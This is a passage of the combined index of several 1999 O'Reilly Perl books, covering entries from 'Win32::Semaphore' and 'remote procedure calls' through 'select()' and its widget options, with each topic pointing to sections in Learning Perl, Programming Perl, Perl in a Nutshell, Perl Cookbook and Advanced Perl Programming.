Win32::Semaphore module : Perl in a Nutshell, Chapter 19, Reference: release
-relheight, -relwidth options (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
-relief option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
reload command (CPAN.pm) : Perl in a Nutshell, Chapter 2, Reference: reload
-relx, -rely options (place geometry manager) : Perl in a Nutshell, 18.2.3. The Place Geometry Manager
remote procedure calls (RPC)
Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
Advanced Perl Programming, 17.1. On Code Generation
REMOTE_ADDR variable : Perl in a Nutshell, 9.4. CGI Environment Variables
remote_host() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: remote_host
REMOTE_HOST variable : Perl in a Nutshell, 9.4. CGI Environment Variables
REMOTE_IDENT variable : Perl in a Nutshell, 9.4. CGI Environment Variables
remote_user() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: remote_user
REMOTE_USER variable : Perl in a Nutshell, 9.4. CGI Environment Variables
remove_header() (HTTP::Headers) : Perl in a Nutshell, Chapter 17, Reference: remove_header
remove_sig() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: remove_sig
removing : (see deleting)
characters : Learning Perl, 15.5. Transliteration
files : Learning Perl, 13.1. Removing a File
HTML tags : Perl Cookbook, 20.6. Extracting or Removing HTML Tags
last character
Learning Perl, 2.6.3. The chop and chomp Functions
Learning Perl on Win32 Systems, 15.5. Transliteration
rename command (Windows NT) : Learning Perl on Win32 Systems, 13.2. Renaming a File
rename script (example) : Perl Cookbook, 9.9. Renaming Files
rename()
Learning Perl, 1.5.15. Making Those Old Word Lists More Noticeable
Learning Perl, 13.2. Renaming a File
Learning Perl on Win32 Systems, 1.6.15. Making Those Old Word Lists More Noticeable
Learning Perl on Win32 Systems, 13.2. Renaming a File
Perl in a Nutshell, Chapter 5, Reference: rename
Programming Perl, 3.2.122. rename
examples of
Learning Perl, A.12. Chapter 13, File and Directory Manipulation
Learning Perl, 1.5.17. The Final Programs
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: rename
Rename() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Rename
renaming files
Perl Cookbook, 9.9. Renaming Files
Learning Perl, 13.2. Renaming a File
examples of
Learning Perl, 1.5.15. Making Those Old Word Lists More Noticeable
Learning Perl on Win32 Systems, 1.6.15. Making Those Old Word Lists More Noticeable
rep program (example) : Perl Cookbook, 15.12. Managing the Screen
repeat function : Advanced Perl Programming, 14.5. Timers
-repeatdelay option
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
-repeatinterval option
Scale widget : Perl in a Nutshell, 18.13. The Scale Widget
Scrollbar widget : Perl in a Nutshell, 18.9. The Scrollbar Widget
repetition (x) operator
Programming Perl, 1.5.2. String Operators
Programming Perl, 2.5.7. Multiplicative Operators
replacing array elements : Programming Perl, 3.2.154. splice
reply() (Mail::Internet) : Perl in a Nutshell, Chapter 14, Reference: reply
report generating, example of : Learning Perl on Win32 Systems, 1.6.14. Listing the Secret Words
Report() (Win32::EventLog) : Perl in a Nutshell, Chapter 19, Reference: Report
reporting bugs in Perl : Perl in a Nutshell, 6.6. The perlbug Program
reporting errors : (see errors; warning messages)
reports, generating
Learning Perl, 1.5.14. Listing the Secret Words
Learning Perl, 11.1. What Is a Format?
request() (LWP::UserAgent) : Perl in a Nutshell, 17.2.3. LWP::UserAgent
Request() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Request
Request object (PerlScript) : Perl in a Nutshell, 20.2. Server-Side PerlScript
request_method() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: request_method
REQUEST_METHOD environment variable : Perl in a Nutshell, 9.4. CGI Environment Variables
requests, HTTP
HTTP::Request module
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.3.1. HTTP::Request
UserAgent object for
Perl in a Nutshell, 17.1. LWP Overview
Perl in a Nutshell, 17.2. The LWP Modules
Perl in a Nutshell, 17.2.3. LWP::UserAgent
require()
Perl in a Nutshell, Chapter 5, Reference: require
Programming Perl, 2.6.7. Global Declarations
Programming Perl, 2.9.4. Global Special Arrays
Programming Perl, 3.2.123. require
Programming Perl, 5.2. Modules
require statement
Advanced Perl Programming, 6.2. Packages and Files
Perl Cookbook, 12.0. Introduction
Perl in a Nutshell, 7.2. Modules
trapping errors in : Perl Cookbook, 12.2. Trapping Errors in require or use
REs : (see regular expressions)
reserved words : Programming Perl, 2.3.1. Variables
reset()
Perl in a Nutshell, Chapter 5, Reference: reset
Programming Perl, 3.2.124. reset
CGI.pm module : Perl in a Nutshell, Chapter 10, Reference: reset
Net::POP3 module : Perl in a Nutshell, Chapter 14, Reference: reset
Net::SMTP module : Perl in a Nutshell, Chapter 14, Reference: reset
Win32::ChangeNotification module : Perl in a Nutshell, Chapter 19, Reference: reset
Reset()
Mail::POP3Client module
Perl in a Nutshell, Chapter 14, Reference: Reset
Perl in a Nutshell, 14.2.8.4. Deleting and undeleting messages
Win32::OLE::Enum module : Perl in a Nutshell, Chapter 19, Reference: Reset
resizable() (Frame widget) : Perl in a Nutshell, 18.18.1. Toplevel Methods
resizing : (see size)
-resolution option (Scale) : Perl in a Nutshell, 18.13. The Scale Widget
Resolve() (Win32::Shortcut) : Perl in a Nutshell, Chapter 19, Reference: Resolve
resources for further reading
Advanced Perl Programming, Resources
Perl in a Nutshell, 1.4. Perl Resources
perldsc document : Advanced Perl Programming, 2. Implementing Complex Data Structures
perltoot document : Advanced Perl Programming, 4.4.3. Closures Versus Objects
resources, managing shared : Perl in a Nutshell, 19.11. Win32::NetResource
Response object (PerlScript)
Perl in a Nutshell, 20.2. Server-Side PerlScript
Perl in a Nutshell, 20.2.2. The Response Object
responses, HTTP : Perl in a Nutshell, 17.3.2. HTTP::Response
restarting servers on demand : Perl Cookbook, 17.16. Restarting a Server on Demand
restoring filehandles : Programming Perl, 7.2.54. SelectSaver - Save and Restore Selected Filehandle
result : Learning Perl, 2.4. Scalar Operators
Resume() (Win32::Process) : Perl in a Nutshell, Chapter 19, Reference: Resume
ResumeService() (Win32::Service) : Perl in a Nutshell, Chapter 19, Reference: ResumeService
retr() (Net::FTP) : Perl in a Nutshell, Chapter 16, Reference: retr
Retrieve() (Mail::POP3Client)
Perl in a Nutshell, Chapter 14, Reference: Retrieve
Perl in a Nutshell, 14.2.8.3. Retrieving the message body
retrieve() (Storable module) : Perl Cookbook, 11.13. Storing Data Structures to Disk
retrieve_where function : Advanced Perl Programming, 11.1. Adaptor: An Introduction
Adaptor::DBI module : Advanced Perl Programming, 11.3.2.2. Queries
Adaptor::File module : Advanced Perl Programming, 11.3.1.3. Query processing
retrieving email messages : Perl in a Nutshell, 14.1.3. Retrieving Email with Net::POP3
retrieving URLs : Perl Cookbook, 20.1. Fetching a URL from a Perl Script
return statement
Perl Cookbook, 10.10. Returning Failure
Perl in a Nutshell, Chapter 5, Reference: return
Perl in a Nutshell, 4.7.2. Passing Arguments
Programming Perl, 3.2.125. return
return context, subroutines : Perl Cookbook, 10.6. Detecting Return Context
return stack (retstack) : Advanced Perl Programming, 20.4.3. Inside Other Stacks
return status, backwards for system() : Learning Perl, 14.1. Using system and exec
return values
Perl Cookbook, 10.8. Skipping Selected Return Values
Perl Cookbook, 10.9. Returning More Than One Array or Hash
Perl Cookbook, 10.10. Returning Failure
Learning Perl, 1.5.9. Making It a Bit More Modular
Programming Perl, 2.7. Subroutines
from fork : Learning Perl, 14.4. Using fork
print() and : Learning Perl, 6.3.1. Using print for Normal Output
read() : Learning Perl, 17.4. Fixed-Length Random Access Databases
select() : Learning Perl, 11.6.1. Using select() to Change the Filehandle
subroutine, example of
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 8.3. Return Values
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 1.6.9. Making It a Bit More Modular
Learning Perl on Win32 Systems, 8.3. Return Values
tr operator : Learning Perl, 15.5. Transliteration
Reuse option (IO::Socket::INET) : Perl in a Nutshell, 13.2.4. IO::Socket::INET Reference
reusing code
Programming Perl, 5.5.8. Thinking of Code Reuse
Programming Perl, 8.4. Programming with Style
reverse()
Perl Cookbook, 1.6. Reversing a String by Word or Character
Perl Cookbook, 4.10. Reversing an Array
Learning Perl, 3.4.5. The reverse Function
Perl in a Nutshell, Chapter 5, Reference: reverse
Programming Perl, 3.2.126. reverse
example of
Learning Perl, A.2. Chapter 3, Arrays and List Data
Learning Perl, A.5. Chapter 6, Basic I/O
Learning Perl on Win32 Systems, A.2. Chapter 3, Arrays and List Data
Learning Perl on Win32 Systems, A.5. Chapter 6, Basic I/O
inverting hashes : Perl Cookbook, 5.8. Inverting a Hash
reversing
array elements : Perl Cookbook, 4.10. Reversing an Array
words/characters in strings : Perl Cookbook, 1.6. Reversing a String by Word or Character
revert() (HTTP::Cookies) : Perl in a Nutshell, Chapter 17, Reference: revert
revhash_demo program (example) : Perl Cookbook, 13.15. Creating Magic Variables with tie
rewinddir()
Perl Cookbook, 9.5. Processing All Files in a Directory
Perl in a Nutshell, Chapter 5, Reference: rewinddir
Programming Perl, 3.2.127. rewinddir
Programming Perl, 7.2.11. DirHandle - Supply Object Methods for Directory Handles
right angle bracket : (see < > (angle brackets))
right associativity : Learning Perl, 2.4.3. Operator Precedence and Associativity
right justification : Programming Perl, 2.8.1. Format Variables
right-shift (>>) operator : Programming Perl, 2.5.9. Shift Operators
rindex()
Learning Perl, A.14. Chapter 15, Other Data Transformation
Learning Perl, 15.1. Finding a Substring
Learning Perl on Win32 Systems, 15.1. Finding a Substring
Perl in a Nutshell, Chapter 5, Reference: rindex
Programming Perl, 3.2.128. rindex
RLENGTH variable (awk) : Programming Perl, 6.4.2.2. a2p
rm command, unlink() and : Learning Perl, 13.1. Removing a File
rmdir function
Perl Cookbook, 9.8. Removing a Directory and Its Contents
Learning Perl, 13.4. Making and Removing Directories
Learning Perl on Win32 Systems, 13.3. Making and Removing Directories
Perl in a Nutshell, Chapter 5, Reference: rmdir
Programming Perl, 3.2.129. rmdir
Net::FTP module : Perl in a Nutshell, Chapter 16, Reference: rmdir
Rmdir() (Win32::Internet) : Perl in a Nutshell, Chapter 19, Reference: Rmdir
rmtree() : Programming Perl, 7.2.31. File::Path - Create or Remove a Series of Directories
rmtree program (example) : Perl Cookbook, 9.8. Removing a Directory and Its Contents
Robot User Agent : Perl in a Nutshell, 17.2.1. LWP::RobotUA sections
robots for web traversal : Perl Cookbook, 20.11. Creating a Robot
rollback() (DBI) : Perl in a Nutshell, Chapter 12, Reference: rollback
roman() (Roman module) : Perl Cookbook, 2.6. Working with Roman Numerals
Roman module : Perl Cookbook, 2.6. Working with Roman Numerals
roman numerals : Perl Cookbook, 2.6. Working with Roman Numerals
root directory (/)
Perl Cookbook, 9.0. Introduction
Programming Perl, 3.2.17. chroot
rounding floating-point numbers : Perl Cookbook, 2.3. Rounding Floating-Point Numbers
routines : (see subroutines)
row : (see records)
-row option (grid manager) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
rows() (DBI) : Perl in a Nutshell, Chapter 12, Reference: rows
-rowspan option (grid manager) : Perl in a Nutshell, 18.2.2. The grid Geometry Manager
RPC (Remote Procedure Call)
Advanced Perl Programming, 13.2. Remote Procedure Calls (RPC)
Advanced Perl Programming, 17.1. On Code Generation
$RS
Learning Perl, 6.1. Input from STDIN
Learning Perl, 14.2. Using Backquotes
Learning Perl on Win32 Systems, 6.1. Input from STDIN
Perl in a Nutshell, 4.4.1. Global Special Variables
Programming Perl, 2.9.3. Global Special Variables
Programming Perl, 6.1.2. Switches
Programming Perl, 7.2.13. English - Use English or awk Names for Punctuation Variables
RSTART variable (awk) : Programming Perl, 6.4.2.2. a2p
RTTI (Run Time Type Identification) : Advanced Perl Programming, 6.9.3. C/C++
rules() (LWP::RobotUA) : Perl in a Nutshell, Chapter 17, Reference: rules
-run option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
run time, loading modules at : Perl Cookbook, 12.3. Delaying use Until Run Time
run-time binding : Advanced Perl Programming, 7.2.4. The Need for Polymorphism
run-time errors
(see errors)
(see exceptions)
run-time evaluation
(see also eval function)
Advanced Perl Programming, B.6. Dynamic Behavior
Advanced Perl Programming, 5. Eval
Advanced Perl Programming, Language Syntax
Programming Perl, 7.2.48.8. Run-time overloading
in other languages : Advanced Perl Programming, 5.7. Eval in Other Languages
run-time scoping : Perl Cookbook, 10.13. Saving Global Values
RUNAT attribute (<SCRIPT>) : Perl in a Nutshell, 20.2. Server-Side PerlScript
running : (see executing)
runtests() : Programming Perl, 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: S

\S (nonwhitespace) character class : Perl in a Nutshell, 4.6.4. Character Classes
\s (whitespace) character class
Learning Perl, 7.3.1. Single-Character Patterns
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Perl in a Nutshell, 4.6.4. Character Classes
Perl in a Nutshell, 4.6.8. Extended Regular Expressions
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.1.3. The fine print
Programming Perl, 2.4.2. Pattern-Matching Operators
s command (debugger)
Perl in a Nutshell, Chapter 6, Reference: s
Programming Perl, 8.1.1. Debugger Commands
S command (debugger)
Perl in a Nutshell, Chapter 6, Reference: S
Programming Perl, 8.1.1. Debugger Commands
-s file test operator
Learning Perl, 10.5. The -x File Tests
Learning Perl on Win32 Systems, 10.6. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
-S file test operator
Learning Perl, 10.5. The -x File Tests
Perl in a Nutshell, 4.5.8. File Test Operators
Programming Perl, 2.5.10. Named Unary and File Test Operators
S<> interior sequence (pod) : Perl in a Nutshell, 4.11.2. Interior sequences
s operator : (see substitution (s///) operator)
-s option (dprofpp) : Perl in a Nutshell, 6.5. The Perl Profiler
-s option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
-S option (perlbug) : Perl in a Nutshell, 6.6. The perlbug Program
s option, tr() : Learning Perl on Win32 Systems, 15.5. Transliteration
/s pattern-matching modifier : Perl Cookbook, 6.0. Introduction
matching multiple lines : Perl Cookbook, 6.6. Matching Multiple Lines
\s substitution modifier
Perl Cookbook, 1.11. Indenting Here Documents
Learning Perl, 7.5. Substitutions
Learning Perl, 15.5. Transliteration
-s switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Programming Perl, 8.1. The Perl Debugger
-S switch, perl
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
Programming Perl, 6.2.4.2. UNIX-domain clients and servers
s2p (sed-to-Perl) conversion utility
Learning Perl, 18.2. Converting sed Programs to Perl
Programming Perl, 6.4.2.1. s2p
Programming Perl, 8.5.1. Translation from Awk and Sed
s/// (substitution) operator
Learning Perl on Win32 Systems, 7.5. Substitutions
Perl in a Nutshell, 4.6. Regular Expressions
Perl in a Nutshell, 4.6.1. Pattern-Matching Operators
Programming Perl, 1.7. Regular Expressions
Programming Perl, 2.3.3.4. Interpolative context
Programming Perl, 2.4. Pattern Matching
Programming Perl, 2.4.2. Pattern-Matching Operators
Programming Perl, 8.2.1. Universal Blunders
~ operator with : Perl Cookbook, 1.1. Accessing Substrings
examples of
Learning Perl, 1.5.17. The Final Programs
Learning Perl, 12.2. Globbing
Learning Perl on Win32 Systems, 1.6.17. The Final Programs
Learning Perl on Win32 Systems, 12.2. Globbing
making basename of file : Learning Perl, A.12. Chapter 13, File and Directory Manipulation
options for : Programming Perl, 2.4.2. Pattern-Matching Operators
stripping whitespace with : Perl Cookbook, 1.11. Indenting Here Documents
safe compartments : Advanced Perl Programming, 20.2.2.3. Security features
Safe module
Advanced Perl Programming, 1.2.5.1. Trojan horses
Perl in a Nutshell, 8.125. Safe
Programming Perl, 6.3.2.1. Safe
Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
Sarathy, Gurusamy
Advanced Perl Programming, 10.2.2. Data::Dumper
Advanced Perl Programming, 10.3.2. MLDBM
sascii program (example) : Perl Cookbook, 15.6. Reading from the Keyboard
-sav option (perlcc) : Perl in a Nutshell, 3.4. The Perl Compiler
save()
CGI.pm module
Learning Perl, 19.8.2. Objects in CGI.pm
Perl in a Nutshell, Chapter 10, Reference: save
HTTP::Cookies module : Perl in a Nutshell, Chapter 17, Reference: save
News::Newsrc module : Perl in a Nutshell, Chapter 15, Reference: save
Save()
Win32::Registry module : Perl in a Nutshell, Chapter 19, Reference: Save
Win32::Shortcut module : Perl in a Nutshell, Chapter 19, Reference: Save
save_as() (News::Newsrc) : Perl in a Nutshell, Chapter 15, Reference: save_as
save stack : Advanced Perl Programming, 20.4.3. Inside Other Stacks
save_parameters() : Perl Cookbook, 19.13. Saving a Form to a File or Mail Pipe
saving filehandles : Programming Perl, 7.2.54. SelectSaver - Save and Restore Selected Filehandle
SBDM module : Advanced Perl Programming, 10.3.1. DBM
scalar()
Perl in a Nutshell, Chapter 5, Reference: scalar
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
scalar assignment, used as a value : Learning Perl, 2.6. Scalar Operators and Functions
scalar context
Learning Perl, 3.4.1. Assignment
Learning Perl, 3.5. Scalar and List Context
Learning Perl on Win32 Systems, 3.4.1. Assignment
Learning Perl on Win32 Systems, 3.5. Scalar and List Context
Perl in a Nutshell, 4.2.5. Scalar and List Contexts
Programming Perl, 2.3.3.1. Scalar and list context
Programming Perl, 3. Functions
forcing : Programming Perl, 3.2.131. scalar
range (..) operator in : Programming Perl, 2.5.15. Range Operator
readdir() : Learning Perl, 12.5. Reading a Directory Handle
recognizing in debugger : Programming Perl, 8.1.2. Using the Debugger
scalar prototype symbol ($) : Perl in a Nutshell, 4.7.5. Prototypes
scalar pseudo-function : Programming Perl, 3.2.131. scalar
scalar variables
Learning Perl, 1.5.2. Asking Questions and Remembering the Result
Learning Perl, 2.5. Scalar Variables
Learning Perl on Win32 Systems, 1.6.2. Asking Questions and Remembering the Result
Learning Perl on Win32 Systems, 2.5. Scalar Variables
in angle brackets : Programming Perl, 2.3.7.2. Line input (angle) operator
operators for : Learning Perl, 2.6. Scalar Operators and Functions
scalars
Advanced Perl Programming, 20.3.1. Scalar Values
Perl Cookbook, 1.0. Introduction
Learning Perl, 2.1. What Is Scalar Data?
Learning Perl, 3.4.1. Assignment
Learning Perl on Win32 Systems, 2.1. What Is Scalar Data?
Learning Perl on Win32 Systems, 3.4.1. Assignment
Perl in a Nutshell, 4.2. Data Types and Variables
Programming Perl, 1.2.1.1. Singularities
Programming Perl, 2.2. Built-in Data Types
Programming Perl, 2.3.2. Scalar Values
anonymous : Programming Perl, 5.4.1. Tying Scalars
arrays of : (see arrays)
arrays of scalar references : Perl Cookbook, 11.6. Creating Arrays of Scalar References
byte length of : Programming Perl, 3.2.84. length
dereferencing
Advanced Perl Programming, 1.1.3. References to Scalars
Advanced Perl Programming, 1.2.2. Performance Efficiency
detecting scalar context : Perl Cookbook, 10.6. Detecting Return Context
dynamic allocation of : Advanced Perl Programming, 1.2.3. References to Anonymous Storage
dynamic binding : Advanced Perl Programming, 9.1. Tying Scalars
exchanging values between : Perl Cookbook, 1.3. Exchanging Values Without Using Temporary Variables
functions for manipulating : Perl in a Nutshell, 5.1. Perl Functions by Category
instance variables : Programming Perl, 5.5.3. Scalar Instance Variables
list of
(see arrays)
(see lists)
references : (see references)
references to : Perl Cookbook, 11.5. Taking References to Scalars
tying
Programming Perl, 5.4.1. Tying Scalars
Programming Perl, 7.2.73. Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
unordered set of : (see hashes (associative arrays))
scale() (Canvas) : Perl in a Nutshell, 18.12.3. Canvas Methods
Scale widgets (Perl/Tk)
Advanced Perl Programming, A.7. Scale
Advanced Perl Programming, 14.3.10. Scale
Perl in a Nutshell, 18.13. The Scale Widget
scan()
HTTP::Cookies module : Perl in a Nutshell, Chapter 17, Reference: scan
HTTP::Headers module : Perl in a Nutshell, Chapter 17, Reference: scan
schema
evolution of : Advanced Perl Programming, 11.2.10. Schema Evolution
generation for database : Advanced Perl Programming, 17.2.1. Oh, and Can You Do This Too?
scheme() (URI::URL) : Perl in a Nutshell, Chapter 17, Reference: scheme
schemes (URLs) : Perl Cookbook, 19.0. Introduction
Schwartz, Randal : Perl Cookbook, 4.15. Sorting a List by Computable Field
scientific notation, in floating-point numbers : Learning Perl, 2.2.2. Float Literals
Scooby Doo, pronouncing "Windex" : Learning Perl, 15.1. Finding a Substring
scope stack : Advanced Perl Programming, 20.4.3. Inside Other Stacks
scope, variable
Perl in a Nutshell, 4.2.6. Declarations and Scope
Perl in a Nutshell, 4.7.4. Private and Local Variables
functions for : Perl in a Nutshell, 5.1. Perl Functions by Category
lexical versus dynamic : Advanced Perl Programming, 3.1.2. Lexical Versus Dynamic Scoping
subroutine variables : Perl Cookbook, 10.2. Making Variables Private to a Function
scoped declarations : Programming Perl, 2.6.8. Scoped Declarations
scratchpads : Advanced Perl Programming, 3.1.1. Lexical Variables
screen : (see user interfaces)
-screen option (toplevel) : Perl in a Nutshell, 18.18. The Toplevel Widget
script object (PerlScript) : Perl in a Nutshell, 20.1. Client-Side PerlScript
<SCRIPT> tags : Perl in a Nutshell, 20.1. Client-Side PerlScript
script_name() (CGI.pm) : Perl in a Nutshell, Chapter 10, Reference: script_name
SCRIPT_NAME environment variable : Perl in a Nutshell, 9.4. CGI Environment Variables
scripts
advantages of : Advanced Perl Programming, The Case for Scripting
building with -e switch : Programming Perl, 6.1.2. Switches
CGI : (see CGI programs)
checking syntax of
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
controlling debugger from : Programming Perl, 8.1.2. Using the Debugger
debugging : (see debugging)
dumping core files : Programming Perl, 6.1.2. Switches
embedding in messages : Programming Perl, 6.1.2. Switches
end marker for : Programming Perl, 2.3.2.7. Other literal tokens
examples of, obtaining
Perl in a Nutshell, 2.3.1.1. Perl examples
Programming Perl, 8.5.2. Examples
executing : Programming Perl, 3.2.167. system
insecure : Programming Perl, 6.3.2. Handling Insecure Code
names of : (see $ variables, $0 variable)
pausing : Programming Perl, 3.2.150. sleep
performance of : (see performance)
programming style : Programming Perl, 8.4. Programming with Style
running time of : Programming Perl, 2.5.10. Named Unary and File Test Operators
searching for : Programming Perl, 6.1.2. Switches
standard test : Programming Perl, 7.2.66. Test::Harness - Run Perl Standard Test Scripts with Statistics
terminating with exec : Programming Perl, 3.2.33. exec
troubleshooting : Programming Perl, 8.2. Common Goofs for Novices
ScrlListBox function : Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
ScrlText function : Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
Scroll() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Scroll
Scrollbar widget (Perl/Tk)
Perl in a Nutshell, 18.1.2.2. The Scrollbar widget
Perl in a Nutshell, 18.9. The Scrollbar Widget
scrollbars, widget (Perl/Tk)
Advanced Perl Programming, A.6. Scrollbars and Scrolling
Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
Perl in a Nutshell, 18.1.2. Scrollbars
Scrolled() (Perl/Tk)
Advanced Perl Programming, 14.3.9. Scrollbars and Scrolling
Perl in a Nutshell, 18.1.2.1. Using the Scrolled method
scrolling_list() (CGI.pm)
Learning Perl, 19.7.2. Fancier Calling Sequences
Perl in a Nutshell, Chapter 10, Reference: scrolling_list
-scrollregion option (Canvas) : Perl in a Nutshell, 18.12. The Canvas Widget
SDBM library : Perl Cookbook, 14.0. Introduction
SDBM module : Advanced Perl Programming, 9.3. Tying Hashes
SDBM_File module
Advanced Perl Programming, 10.3.1. DBM
Perl in a Nutshell, 8.126. SDBM_File
Programming Perl, 7.2.1. AnyDBM_File - Provide Framework for Multiple DBMs
Programming Perl, 7.2.52. SDBM_File - Tied Access to SDBM Files
search() (Text widget) : Perl in a Nutshell, 18.11.2. Text Methods
Search::Dict module
Perl in a Nutshell, 8.127. Search::Dict
Programming Perl, 7.2.53. Search::Dict - Search for Key in Dictionary File
search_files subroutine (example) : Advanced Perl Programming, 19.3. Examples
searching : (see also pattern matching; regular expressions)
grep function for : Programming Perl, 3.2.72. grep
linear, versus hashes : Programming Perl, 8.3.1. Time Efficiency
for lines in text file : Programming Perl, 7.2.8.6. Examples
man pages with perlman : Advanced Perl Programming, 16.2.2. Searching for Text
for methods : Advanced Perl Programming, 7.3.1. Searching for Methods
multipattern grep for (example) : Advanced Perl Programming, 5.5.1. A Fast Multipattern grep
for scripts
Perl in a Nutshell, 3.2. Command-Line Options
Programming Perl, 6.1.2. Switches
for substrings
Programming Perl, 3.2.75. index
Programming Perl, 3.2.128. rindex
seconds : (see date and time)
secret words, guessing
Learning Perl, 1.5.4. Guessing the Secret Word
Learning Perl on Win32 Systems, 1.6.4. Guessing the Secret Word
secure property (response cookies) : Perl in a Nutshell, 20.2.2.1. Setting cookies
security
Learning Perl on Win32 Systems, D.10.1. Security Matters
Programming Perl, 3.2.158. srand
Programming Perl, Perl in a Nutshell
bypassing shell : Programming Perl, 6.2.2.2. Talking to yourself
CGI scripts
Perl Cookbook, 19.0. Introduction
Perl Cookbook, 19.4. Writing a Safe CGI Program
executing user commands : Perl Cookbook, 19.6. Executing Commands Without Shell Escapes
connecting through firewalls : Perl Cookbook, 17.18. Program: fwdport
eval function and : Advanced Perl Programming, 5.1. The String Form: Expression Evaluation
handling insecure data : Programming Perl, 6.3.1. Handling Insecure Data
insecure code : Programming Perl, 6.3.2. Handling Insecure Code
module privacy : Advanced Perl Programming, 6.4. Privacy
PATH environment variable : Programming Perl, 6.3.1.2. Cleaning up your path
reading passwords without echo : Perl Cookbook, 15.10. Reading Passwords
references and : Advanced Perl Programming, 1.2.5.1. Trojan horses
Safe module : Programming Perl, 7.2.51. Safe - Create Safe Namespaces for Evaluating Perl Code
taint checking : Advanced Perl Programming, 20.2.2.3. Security features
testing files for trustworthiness : Perl Cookbook, 8.17. Testing a File for Trustworthiness
UNIX bugs : Programming Perl, 6.3.1.3. Security bugs
sed scripts : Programming Perl, 8.2.5. Sed Traps
converting to/from Perl
Learning Perl, 18.2. Converting sed Programs to Perl
Programming Perl, 6.4.2.1. s2p
Programming Perl, 8.5.1. Translation from Awk and Sed
substitute operator and : Learning Perl, 7.2. Simple Uses of Regular Expressions
see()
Listbox widget : Perl in a Nutshell, 18.10.2. Listbox Methods
Text widget : Perl in a Nutshell, 18.11.2. Text Methods
seed, random number : Programming Perl, 3.2.158. srand
seek()
(see also tell())
Perl Cookbook, 8.0. Introduction
Perl Cookbook, 8.5. Trailing a Growing File
Learning Perl, 17.4. Fixed-Length Random Access Databases
Learning Perl, 19.8.2. Objects in CGI.pm
Learning Perl on Win32 Systems, 17.4. Fixed-Length Random-Access Databases
Perl in a Nutshell, Chapter 5, Reference: seek
Programming Perl, 3.2.132. seek
Programming Perl, 3.2.169. tell
seekdir()
Perl Cookbook, 9.5. Processing All Files in a Directory
Perl in a Nutshell, Chapter 5, Reference: seekdir
Programming Perl, 3.2.133. seekdir
seeme program (example) : Perl Cookbook, 7.12. Flushing Output
sel.first, sel.last indexes
Entry widget : Perl in a Nutshell, 18.8.1. Text Indexes
Text widget : Perl in a Nutshell, 18.11.1. Text Indexes and Modifiers
select()
Advanced Perl Programming, 12.3.2. Multiplexing Using select
Perl Cookbook, 3.10. Short Sleeps
Perl Cookbook, 17.3. Communicating over TCP
Learning Perl, 11.6.1. Using select() to Change the Filehandle
Perl in a Nutshell, Chapter 5, Reference: select
Programming Perl, 3.2.38. fileno
Programming Perl, 3.2.110. print
Programming Perl, 3.2.134. select (output filehandle)
Programming Perl, 3.2.135. select (ready file descriptors)
changing STDOUT : Perl Cookbook, 7.0. Introduction
Checkbutton widget : Perl in a Nutshell, 18.5.1. Checkbutton Methods
for format variables : Programming Perl, 2.8.1. Format Variables
Mail::Folder module : Perl in a Nutshell, Chapter 14, Reference: select
Radiobutton widget : Perl in a Nutshell, 18.6.1. Radiobutton Methods
reading from multiple filehandles
Perl Cookbook, 7.13. Reading from Many Filehandles Without Blocking
Perl Cookbook, 17.3. Communicating over TCP
return value of : Learning Perl on Win32 Systems, 11.6.1. Using select to Change the Filehandle
Select() (Win32::Console) : Perl in a Nutshell, Chapter 19, Reference: Select
select_label() (Mail::Folder) : Perl in a Nutshell, Chapter 14, Reference: select_label
Select module
Advanced Perl Programming, 12.3.2. Multiplexing Using select
Advanced Perl Programming, 12.5. IO Objects and Filehandles
select statement (SQL) : Advanced Perl Programming, 10.4.1.2. Select
-selectbackground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-selectborderwidth option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-selectcolor option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menu widget : Perl in a Nutshell, 18.15. The Menu Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
Radiobutton widget : Perl in a Nutshell, 18.6. The Radiobutton Widget
-selectforeground option (widgets) : Perl in a Nutshell, 18.3. Common Widget Configuration Options
-selectimage option
Checkbutton widget : Perl in a Nutshell, 18.5. The Checkbutton Widget
Menubutton widget : Perl in a Nutshell, 18.14.1. Menu Item Options
